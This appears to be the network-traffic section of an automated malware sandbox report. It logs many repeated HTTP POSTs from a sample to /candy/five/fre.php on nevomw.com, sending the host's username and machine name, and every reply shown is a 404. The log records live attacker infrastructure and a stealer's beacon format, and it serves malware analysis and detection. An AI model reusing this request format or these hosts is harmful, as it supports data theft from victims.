Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49712	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:41.429219961 CET	57	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 196 Connection: close
Dec 2, 2020 11:52:41.481232882 CET	57	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: 'ckav.ruengineer367706DESKTOP-716T771k08F9C4E9C79A3B52B3F739430dit5F
Dec 2, 2020 11:52:41.556689978 CET	57	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49713	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:41.861237049 CET	58	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 196 Connection: close
Dec 2, 2020 11:52:41.914042950 CET	59	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: 'ckav.ruengineer367706DESKTOP-716T771+08F9C4E9C79A3B52B3F739430mUF2c
Dec 2, 2020 11:52:41.989274979 CET	59	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 15 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49723	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:47.200282097 CET	85	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:47.253993034 CET	85	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:47.331655025 CET	85	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	49841	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:29.835345984 CET	1397	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:29.887763023 CET	1397	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:29.961003065 CET	1399	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	49843	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:30.245196104 CET	1401	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:30.297722101 CET	1405	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:30.371175051 CET	1406	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	49844	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:30.625790119 CET	1413	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:30.678523064 CET	1413	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:30.751743078 CET	1413	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	49845	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:31.037564993 CET	1414	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:31.090195894 CET	1415	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:31.164427042 CET	1415	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	49846	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:31.503457069 CET	1416	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:31.556354046 CET	1416	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:31.630878925 CET	1416	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	49847	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:31.875174999 CET	1417	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:31.927525997 CET	1418	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:32.010010004 CET	1418	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	49848	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:32.306005955 CET	1419	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:32.358225107 CET	1419	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:32.430725098 CET	1419	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	49849	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:32.677638054 CET	1420	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:32.732115984 CET	1420	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:32.804538965 CET	1421	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	49850	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:33.088546991 CET	1422	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:33.142995119 CET	1422	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:33.217117071 CET	1422	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	49851	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:33.527612925 CET	1424	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:33.580550909 CET	1424	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:33.653285980 CET	1425	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49724	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:47.619406939 CET	86	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:47.672055006 CET	86	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:47.748179913 CET	87	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	49853	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:33.937055111 CET	1431	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:33.989012957 CET	1434	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:34.063106060 CET	1438	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.6	49854	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:34.366689920 CET	1439	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:34.422066927 CET	1439	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:34.511687994 CET	1440	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.6	49855	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:34.808233976 CET	1440	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:34.861234903 CET	1441	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:34.935148001 CET	1441	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.6	49856	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:35.232012987 CET	1442	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:35.284406900 CET	1442	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:35.356287003 CET	1442	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	49857	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:35.626805067 CET	1443	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:35.680749893 CET	1444	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:35.766350031 CET	1444	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	49858	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:36.022089958 CET	1445	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:36.075316906 CET	1445	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:36.150350094 CET	1445	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	49859	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:36.435767889 CET	1446	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
